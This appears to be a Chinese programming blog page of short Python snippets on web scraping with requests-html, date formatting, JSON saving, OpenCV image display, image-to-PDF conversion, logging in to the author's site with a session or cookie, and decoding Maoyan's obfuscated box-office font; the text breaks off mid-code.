<h3 id="requests-html"><a href="#requests-html" class="headerlink" title="requests-html"></a>requests-html</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre></td><td class="code"><pre><span class="line">pip install requests-html</span><br><span class="line"><span class="keyword">from</span> requests_html <span class="keyword">import</span> HTMLSession</span><br><span class="line">session = HTMLSession()</span><br><span class="line"># GET请求</span><br><span class="line">url = <span class="string">"http://kaoshi.edu.sina.com.cn/college/scorelist?tab=batch&amp;wl=1&amp;local=2&amp;batch=&amp;syear=2013"</span></span><br><span class="line">r = session.get(url)</span><br><span class="line">r.encoding='utf-8'  # 解决中文乱码问题</span><br><span class="line">print(r.text)</span><br><span class="line"># 获取的网页的内容存储到本地</span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'test.html'</span>,<span class="string">'wb'</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(r.content)</span><br><span class="line"></span><br><span class="line"># POST请求</span><br><span class="line">url = <span class="string">'https://shuju.wdzj.com/plat-info-target.html'</span></span><br><span class="line">params = &#123;<span class="string">'wdzjPlatId'</span>: <span class="number">59</span>,<span class="string">'type'</span>: <span class="number">1</span>, <span class="string">'target1'</span>: <span class="number">1</span>, <span class="string">'target2'</span>: <span class="number">0</span>&#125;</span><br><span class="line">r = session.post(url, params=params)</span><br><span class="line">print(r.text)</span><br><span class="line"></span><br><span class="line">###定制请求头</span><br><span class="line">headers = &#123;<span class="string">'user-agent'</span>: <span class="string">'my-app/0.0.1'</span>&#125;</span><br><span class="line">r = session.get(url, headers=headers)</span><br><span class="line">r = session.get(<span class="string">'http://www.w3school.com.cn'</span>)</span><br><span class="line">print(r.html.links)</span><br><span class="line"></span><br><span class="line"># 输出 (太多，中间省略部分)</span><br><span class="line">&#123;<span class="string">'http://www.w3ctech.com/'</span>, <span class="string">'/glossary/index.asp'</span>, <span class="string">'/html5/html5_quiz.asp'</span>, <span class="string">'/php/index.asp'</span>, <span class="string">'/asp/index.asp'</span>, <span class="string">'/php/php_ref_date.asp'</span>, <span class="string">'http://wetest.qq.com/?from=links_w3school'</span>, <span class="string">'/asp/asp_ref.asp'</span>, <span class="string">'/tags/index.asp'</span>, <span class="string">'/xmldom/index.asp'</span>, <span class="string">'/example/csse_examples.asp'</span>, <span class="string">'/w.asp'</span>, <span class="string">'/index.html'</span>, <span class="string">'http://weibo.com/w3schoolcomcn'</span>, <span class="string">'/ws.asp'</span>, <span class="string">'/b.asp'</span>, <span class="string">'/cssref/index.asp'</span>, <span class="string">'/jquerymobile/index.asp'</span>,</span><br><span class="line">...</span><br><span class="line"><span class="string">'/xsl/xsl_languages.asp'</span>,</span><br><span class="line"><span class="string">'/example/html_examples.asp'</span>&#125;</span><br><span class="line"></span><br><span class="line"># 获取绝对地址</span><br><span class="line">t = r.html.absolute_links</span><br><span class="line">print(t)</span><br><span class="line">&#123;<span class="string">'http://www.w3school.com.cn/media/index.asp'</span>,</span><br><span class="line"><span class="string">'http://www.w3school.com.cn/glossary/index.asp'</span>,</span><br><span class="line"><span class="string">'http://www.w3school.com.cn/php/php_ref.asp'</span>,</span><br><span class="line"><span class="string">'http://www.w3school.com.cn/site/index.asp'</span>,</span><br><span class="line">...</span><br><span class="line"><span class="string">'http://www.w3school.com.cn/asp/asp_quiz.asp'</span>&#125;</span><br><span class="line"># 获取3cschoool首页左侧的菜单列表  first=True表示找到的第一个‘HTML教程’</span><br><span class="line">menuList = r.html.find(<span class="string">'#navsecond &gt; ul'</span>, first=True)</span><br><span class="line">print(menuList.text)</span><br><span class="line"></span><br><span class="line"># 输出</span><br><span class="line">HTML</span><br><span class="line">HTML5</span><br><span class="line">XHTML</span><br><span class="line">CSS</span><br><span class="line">CSS3</span><br><span class="line">TCP/IP</span><br><span class="line"></span><br><span class="line"># 找出所有菜单的标题和链接</span><br><span class="line">menuList = r.html.find(<span class="string">'#navsecond &gt; ul'</span>)</span><br><span class="line"><span class="keyword">for</span> menu <span class="keyword">in</span> menuList:</span><br><span class="line">    print(menu.text)  # 获得标题</span><br><span class="line">    print(menu.absolute_links)  # 获得链接</span><br><span class="line"></span><br><span class="line"># 输出</span><br><span class="line">HTML</span><br><span class="line">HTML5</span><br><span class="line">XHTML</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> requests_html <span class="keyword">import</span> HTMLSession</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">session = HTMLSession()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 背景图片地址</span><br><span class="line">url = <span class="string">"http://www.win4000.com/wallpaper_2285_0_10_1.html"</span></span><br><span class="line">r = session.get(url)</span><br><span class="line"></span><br><span class="line"># 新建bg文件夹</span><br><span class="line"><span class="keyword">if</span> not os.path.exists(<span class="string">'bg'</span>):</span><br><span class="line">    os.mkdir(<span class="string">'bg'</span>)</span><br><span class="line"></span><br><span class="line"># 保存图片到bg/目录</span><br><span class="line">def save_image(url, title):</span><br><span class="line">    img_response = requests.get(url)</span><br><span class="line">    <span class="keyword">with</span> open(<span class="string">'./bg/'</span>+title+<span class="string">'.jpg'</span>, <span class="string">'wb'</span>) <span class="keyword">as</span> file:</span><br><span class="line">        file.write(img_response.content)</span><br><span class="line"></span><br><span class="line"># 查找页面中图片列表，找到链接，</span><br><span class="line"># 点击链接，访问查看大图，并获取大图地址pic-large</span><br><span class="line">items_img = r.html.find(<span class="string">'ul.clearfix &gt; li &gt; a'</span>)</span><br><span class="line"><span class="keyword">for</span> img <span class="keyword">in</span> items_img:</span><br><span class="line">    img_url = img.attrs[<span class="string">'href'</span>]</span><br><span class="line">    <span class="keyword">if</span> <span class="string">"/wallpaper_detail"</span> <span class="keyword">in</span> img_url:</span><br><span class="line">        r = session.get(img_url)          # 解析图片详情</span><br><span class="line">        item_img = r.html.find(<span class="string">'img.pic-large'</span>, first=True)</span><br><span class="line">        url = item_img.attrs['src']       # 大图图片地址</span><br><span class="line">        title = item_img.attrs['title']   # 图片标题</span><br><span class="line">        print(url+title)</span><br><span class="line">        save_image(url, title)</span><br><span class="line">        </span><br><span class="line">http:<span class="comment">//www.golang365.com/#/blog/17</span></span><br></pre></td></tr></table></figure>
<h3 id="输出今天日期"><a href="#输出今天日期" class="headerlink" title="输出今天日期"></a>输出今天日期</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"># 获取今天年月日</span><br><span class="line">nowdate = time.localtime(time.time())  # 获得当前时间戳</span><br><span class="line">today = time.strftime('%Y-%m-%d %H:%M:%S', nowdate)  # 转换成指定格式</span><br><span class="line">print(today)</span><br></pre></td></tr></table></figure>
<h3 id="保存json文件"><a href="#保存json文件" class="headerlink" title="保存json文件"></a>保存json文件</h3><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> io</span><br><span class="line"></span><br><span class="line">sendData = [</span><br><span class="line">  &#123;</span><br><span class="line">    id: <span class="number">1</span>,</span><br><span class="line">    name: <span class="string">'奥特曼'</span></span><br><span class="line">  &#125;,&#123;</span><br><span class="line">    id: <span class="number">2</span>,</span><br><span class="line">    name: <span class="string">'小怪兽'</span></span><br><span class="line">  &#125;</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> io.open(<span class="string">'data.json'</span>, <span class="string">'w'</span>, encoding=<span class="string">"utf-8"</span>) <span class="keyword">as</span> file:</span><br><span class="line">    json.dump(sendData, file, ensure_ascii=False, sort_keys=True, indent=<span class="number">2</span>)</span><br><span class="line">print('保存成功')#http://www.golang365.com/#/blog/18</span><br></pre></td></tr></table></figure>
<h3 id="openCV"><a href="#openCV" class="headerlink" title="openCV"></a>openCV</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">pip install --upgrade setuptools</span><br><span class="line"></span><br><span class="line">pip install numpy Matplotlib</span><br><span class="line"></span><br><span class="line">pip install opencv-python</span><br><span class="line">如果多次下载失败，可以从 http:<span class="comment">//www.lfd.uci.edu/~gohlke/pythonlibs/ 直接下载whl包安装，安装whl包依然使用pip</span></span><br><span class="line"></span><br><span class="line">#导入cv模块</span><br><span class="line"><span class="keyword">import</span> cv2 <span class="keyword">as</span> cv</span><br><span class="line">#读取图像，支持 bmp、jpg、png、tiff 等常用格式</span><br><span class="line">img = cv.imread(r<span class="string">"E:\python\test.jpg"</span>)</span><br><span class="line">#创建窗口并显示图像</span><br><span class="line">cv.namedWindow(<span class="string">"Image"</span>)</span><br><span class="line">cv.imshow(<span class="string">"Image"</span>,img)</span><br><span class="line">cv.waitKey(<span class="number">0</span>)</span><br><span class="line">#释放窗口</span><br><span class="line">cv2.destroyAllWindows() </span><br><span class="line">http:<span class="comment">//www.golang365.com/#/blog/19</span></span><br></pre></td></tr></table></figure>
<h3 id="图片转pdf"><a href="#图片转pdf" class="headerlink" title="图片转pdf"></a>图片转pdf</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">pip install reportlab</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> reportlab.pdfgen <span class="keyword">import</span> canvas</span><br><span class="line"></span><br><span class="line"># 生成多页pdf 生成一个3页的pdf文件</span><br><span class="line">def texttopdf():</span><br><span class="line">    c = canvas.Canvas(<span class="string">'text.pdf'</span>)</span><br><span class="line">    c.drawString(<span class="number">100</span>, <span class="number">100</span>, <span class="string">"Some text in first page."</span>)</span><br><span class="line">    c.showPage()</span><br><span class="line">    c.drawString(<span class="number">100</span>, <span class="number">100</span>, <span class="string">"Some text in second page."</span>)</span><br><span class="line">    c.showPage()</span><br><span class="line">    c.drawString(<span class="number">100</span>, <span class="number">100</span>, <span class="string">"Some text in third page"</span>)</span><br><span class="line">    c.showPage()</span><br><span class="line">    c.save()</span><br><span class="line"></span><br><span class="line">texttopdf()</span><br><span class="line">print(<span class="string">'转换成功！'</span>)</span><br><span class="line"></span><br><span class="line"># 单张图片转pdf，图片不失真。比较清晰</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> reportlab.lib.pagesizes <span class="keyword">import</span> portrait</span><br><span class="line"><span class="keyword">from</span> reportlab.pdfgen <span class="keyword">import</span> canvas</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"># 如果有输指定文件则转换参数里的图片，否则转换test.jpg文件</span><br><span class="line"><span class="keyword">if</span> len(sys.argv) &gt; <span class="number">1</span>:</span><br><span class="line">    img = sys.argv[<span class="number">1</span>]</span><br><span class="line">    filename = img.split(<span class="string">'.'</span>)[<span class="number">0</span>]</span><br><span class="line">    f_jpg = filename+<span class="string">'.jpg'</span></span><br><span class="line">    f_pdf = filename+<span class="string">'.pdf'</span></span><br><span class="line">    print(f_jpg)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    img = <span class="string">'wechat.png'</span></span><br><span class="line">    f_pdf = <span class="string">'test.pdf'</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def imgtopdf():</span><br><span class="line">    (maxw, maxh) = Image.open(img).size</span><br><span class="line">    c = canvas.Canvas(f_pdf, pagesize=(maxw, maxh))</span><br><span class="line">    c.drawImage(img, <span class="number">0</span>, <span class="number">0</span>, maxw, maxh)</span><br><span class="line">    c.showPage()</span><br><span class="line">    c.save()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">imgtopdf()</span><br><span class="line">print(<span class="string">'转换成功！'</span>)</span><br><span class="line">https:<span class="comment">//github.com/sweida/python-study/tree/master/imgToPdf</span></span><br><span class="line">http:<span class="comment">//www.golang365.com/#/blog/22</span></span><br></pre></td></tr></table></figure>
<h3 id="模拟登录"><a href="#模拟登录" class="headerlink" title="模拟登录"></a>模拟登录</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">session = requests.session()</span><br><span class="line"></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">def login():</span><br><span class="line">    url = <span class="string">'http://119.29.27.100/apis/login'</span></span><br><span class="line">    data = &#123;</span><br><span class="line">        <span class="string">'username'</span>: XXX,</span><br><span class="line">        <span class="string">'password'</span>: *******</span><br><span class="line">    &#125;</span><br><span class="line">    response = session.post(url, data=data, headers=headers)</span><br><span class="line"></span><br><span class="line">    responseData = response.json()</span><br><span class="line">    <span class="keyword">if</span> responseData[<span class="string">'status'</span>]==<span class="number">1</span>:</span><br><span class="line">        print(<span class="string">'登录成功'</span>)</span><br><span class="line">        comment()</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">'登录失败'</span>, <span class="string">'失败原因：'</span>, responseData[<span class="string">'msg'</span>])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def comment():</span><br><span class="line">    url = <span class="string">'http://119.29.27.100/apis/message/add'</span></span><br><span class="line">    data = &#123;</span><br><span class="line">        <span class="string">'content'</span>: <span class="string">'这条应该是有登录的'</span>,</span><br><span class="line">        <span class="string">'ykname'</span>: <span class="string">''</span></span><br><span class="line">    &#125;</span><br><span class="line">    response = session.post(url, data=data, headers=headers)</span><br><span class="line"></span><br><span class="line">    responseData = response.json()</span><br><span class="line">    <span class="keyword">if</span> responseData[<span class="string">'status'</span>] == <span class="number">1</span>:</span><br><span class="line">        print(<span class="string">'留言成功'</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">'留言失败'</span>, <span class="string">'失败原因：'</span>, responseData[<span class="string">'msg'</span>])</span><br><span class="line"></span><br><span class="line">login()</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 利用浏览器登录后得到的cookie，</span><br><span class="line">cookie_str = r<span class="string">'_myFavMv=%5B%5D; td_cookie=3034830472; laravel_session=eyJpdiI6Ik4wSjFSUU1wcFo1SndYRFliNWZZeXc9PSIsInZhbHVlIjoiMHJWZzM1WmpGRXp6NWVLYk9OaUdHOVVzcWRNK25lQ21lMFhIcmk4eUxKcEFMSnhwSDBMbTFyM3duUllqT3IycGRIc3V2TGhzWEdWaytWRkpzT3hNelE9PSIsIm1hYyI6ImNiMjRhMGFiYTIxYWJhMjUwZDJlNGI2ODgzY2ZiYzY4ZGY4NzI0MDQ4OGZkN2RiNGIwZGM2M2I2YmExYmY3OGIifQ%3D%3D'</span></span><br><span class="line"></span><br><span class="line">#把cookie字符串处理成字典，以便接下来使用</span><br><span class="line">cookies = &#123;&#125;</span><br><span class="line"><span class="keyword">for</span> line <span class="keyword">in</span> cookie_str.split(<span class="string">';'</span>):</span><br><span class="line">    key, value = line.split(<span class="string">'='</span>, <span class="number">1</span>)</span><br><span class="line">    cookies[key] = value</span><br><span class="line"></span><br><span class="line">def comment():</span><br><span class="line">    url = <span class="string">'http://119.29.27.100/apis/message/add'</span></span><br><span class="line">    data = &#123;</span><br><span class="line">        <span class="string">'content'</span>: <span class="string">'再试一条cookie请求'</span>,</span><br><span class="line">        <span class="string">'ykname'</span>: <span class="string">''</span></span><br><span class="line">    &#125;</span><br><span class="line">    response = requests.post(url, data=data, headers=headers, cookies=cookies)</span><br><span class="line"></span><br><span class="line">    responseData = response.json()</span><br><span class="line">    # print(responseData)</span><br><span class="line">    <span class="keyword">if</span> responseData[<span class="string">'status'</span>] == <span class="number">1</span>:</span><br><span class="line">        print(<span class="string">'留言成功'</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">'留言失败'</span>, <span class="string">'失败原因：'</span>, responseData[<span class="string">'msg'</span>])</span><br><span class="line"></span><br><span class="line">comment()</span><br><span class="line">http:<span class="comment">//www.golang365.com/#/blog/54</span></span><br></pre></td></tr></table></figure>
<h3 id="猫眼票房"><a href="#猫眼票房" class="headerlink" title="猫眼票房"></a>猫眼票房</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> requests.exceptions <span class="keyword">import</span> RequestException</span><br><span class="line"><span class="keyword">from</span> pyquery <span class="keyword">import</span> PyQuery <span class="keyword">as</span> pq</span><br><span class="line"><span class="keyword">from</span> fontTools.ttLib <span class="keyword">import</span> TTFont</span><br><span class="line"></span><br><span class="line">font = TTFont(<span class="string">'font1.woff'</span>)</span><br><span class="line">uni_list = font.getGlyphOrder()[<span class="number">2</span>:]</span><br><span class="line">first_match = &#123;</span><br><span class="line">    <span class="string">'uniE893'</span>: <span class="string">'0'</span>,</span><br><span class="line">    <span class="string">'uniF690'</span>: <span class="string">'1'</span>,</span><br><span class="line">    <span class="string">'uniF55C'</span>: <span class="string">'2'</span>,</span><br><span class="line">    <span class="string">'uniF28F'</span>: <span class="string">'3'</span>,</span><br><span class="line">    <span class="string">'uniF4B1'</span>: <span class="string">'4'</span>,</span><br><span class="line">    <span class="string">'uniE623'</span>: <span class="string">'5'</span>,</span><br><span class="line">    <span class="string">'uniF294'</span>: <span class="string">'6'</span>,</span><br><span class="line">    <span class="string">'uniEEC4'</span>: <span class="string">'7'</span>,</span><br><span class="line">    <span class="string">'uniE577'</span>: <span class="string">'8'</span>,</span><br><span class="line">    <span class="string">'uniE77B'</span>: <span class="string">'9'</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">def get_one_page(date):</span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">'User-Agent'</span>: os.getenv(<span class="string">'User_Agent'</span>)</span><br><span class="line">    &#125;</span><br><span class="line">    url = <span class="string">'https://piaofang.maoyan.com/?ver=normal&amp;date='</span> + date</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.get(url, headers=headers)</span><br><span class="line">        <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">            <span class="keyword">return</span> response.text</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> None</span><br><span class="line">    except RequestException <span class="keyword">as</span> e:</span><br><span class="line">        print(<span class="string">"Requests &#123;&#125;, Error &#123;&#125;."</span>.format(date, e.args))</span><br><span class="line">        <span class="keyword">return</span> None</span><br><span class="line"></span><br><span class="line">def parse_font(html):</span><br><span class="line">    fonts = re.findall(r<span class="string">'base64,(.*?)\)'</span>, html, re.S)[<span class="number">0</span>]</span><br><span class="line">    # fonts = re.search(r'base64,(.*?)\)', html, re.S)</span><br><span class="line">    fonts = base64.b64decode(fonts)</span><br><span class="line">    <span class="keyword">with</span> open(<span class="string">'tmp.woff'</span>, <span class="string">'wb'</span>) <span class="keyword">as</span> fp:</span><br><span class="line">        fp.write(fonts)</span><br><span class="line">    font1 = TTFont(<span class="string">'tmp.woff'</span>)</span><br><span class="line">    # obj_list1 = font1.getGlyphNames()[1:-1]</span><br><span class="line">    uni_list1 = font1.getGlyphOrder()[<span class="number">2</span>:]</span><br><span class="line">    tmp_match = &#123;&#125;</span><br><span class="line">    <span class="keyword">for</span> uni1 <span class="keyword">in</span> uni_list1:</span><br><span class="line">        obj1 = font1['glyf'][uni1]  #获取编码 uni1 在 tmp.ttf 中对应的对象</span><br><span class="line">        <span class="keyword">for</span> uni <span class="keyword">in</span> uni_list:</span><br><span class="line">            obj = font[<span class="string">'glyf'</span>][uni]</span><br><span class="line">            <span class="keyword">if</span> obj==obj1:</span><br><span class="line">                tmp_match[uni1] = first_match[uni]</span><br><span class="line">    <span class="keyword">return</span> tmp_match</span><br><span class="line"></span><br><span class="line">def rebuild_number(number, tmp_match):</span><br><span class="line">    <span class="string">''</span><span class="string">'还需要对数字进行改写'</span><span class="string">''</span></span><br><span class="line">    result = <span class="string">''</span></span><br><span class="line">    <span class="keyword">for</span> num <span class="keyword">in</span> number:</span><br><span class="line">        s = str(hex(ord(num)))</span><br><span class="line">        s = s.upper().replace(<span class="string">'0X'</span>, <span class="string">'uni'</span>)</span><br><span class="line">        <span class="keyword">if</span> s <span class="keyword">in</span> tmp_match.keys():</span><br><span class="line">            result += tmp_match[s]</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            result += num</span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line">def parse_one_page(html):</span><br><span class="line">    tmp_match = parse_font(html)</span><br><span class="line">    doc = pq(html)</span><br><span class="line">    today = doc(<span class="string">'.today'</span>).text()[:<span class="number">10</span>]</span><br><span class="line">    movies = doc(<span class="string">'#ticket_tbody ul'</span>).items()</span><br><span class="line">    <span class="keyword">for</span> movie <span class="keyword">in</span> movies:</span><br><span class="line">        result = &#123;&#125;</span><br><span class="line">        result[<span class="string">'date'</span>] =  today</span><br><span class="line">        result[<span class="string">'movieName'</span>] = movie.find(<span class="string">'.c1 b'</span>).text()</span><br><span class="line">        result[<span class="string">'releaseInfo'</span>] = movie.find(<span class="string">'.c1 em'</span>).text().split()[<span class="number">0</span>]</span><br><span class="line">        result[<span class="string">'sumBoxInfo'</span>] = rebuild_number(movie.find(<span class="string">'.c1 em i'</span>).text(), tmp_match)</span><br><span class="line">        result[<span 